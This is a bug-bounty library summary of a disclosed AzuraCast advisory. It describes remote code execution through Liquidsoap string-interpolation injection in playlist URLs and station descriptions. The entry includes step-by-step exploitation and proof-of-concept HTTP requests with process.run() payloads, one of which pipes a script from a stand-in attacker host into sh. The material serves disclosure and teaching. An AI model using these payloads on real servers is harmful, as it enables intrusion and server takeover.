# AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

AzuraCast's cleanUpString failed to escape Liquidsoap #{...} interpolation, letting Media/Profile users inject process.run() into the .liq config for RCE on restart.

- Payout: Research
- Severity: high
- Program: AzuraCast
- Found by: q1uf3ng
- Disclosed: 2026-03-09
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-93fx-5qgc-wr38
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-93fx-5qgc-wr38
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:command-injection vuln:rce

**Target:** Liquidsoap config generator (ConfigWriter) in AzuraCast backend
**Root cause:** cleanUpString() only replaces double quotes and strips newlines, leaving Liquidsoap #{...} interpolation and backslash escapes intact inside double-quoted config strings.
**Steps:**
1. Authenticate with an API key holding StationPermissions::Media or Profile.
2. POST /api/station/1/playlists with `remote_url` set to `http://x#{process.run('id > /tmp/pwned')}.example.com/stream` (or PUT /api/station/1/profile/edit with `description` set to `#{process.run('curl http://attacker.com/shell.sh | sh')}`).
3. Generated liquidsoap.liq embeds the payload in a double-quoted string, e.g. `input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")`.
4. Trigger a station restart (Broadcasting permission, system update, `azuracast:radio:restart`, or container restart) so Liquidsoap parses the config and evaluates the interpolation.
**How found:** Noticed cleanUpString() only handled quotes and newlines, then recognized Liquidsoap evaluates #{...} inside double-quoted strings like Ruby, and that process.run() executes shell commands.
**Exploitation:** Any station user with Media or Profile permission stores a #{process.run(...)} payload in a metadata or playlist URL field; on the next station restart Liquidsoap evaluates the interpolation and runs the shell command as the azuracast user, giving full RCE.
**Escalation:** Low-privilege station-level permissions (Media/Profile) escalate to server-wide code execution as the azuracast service user.
**Insight:** When a config generator escapes for one language, check the target DSL's own interpolation/escape syntax: Liquidsoap (like Ruby) evaluates #{...} in double-quoted strings, so quote-escaping alone is insufficient.

## Proof of concept (copied exactly from the original report)

**POST playlist with Liquidsoap interpolation payload**

```
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}
```

**PUT station profile with process.run payload**

```
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
```

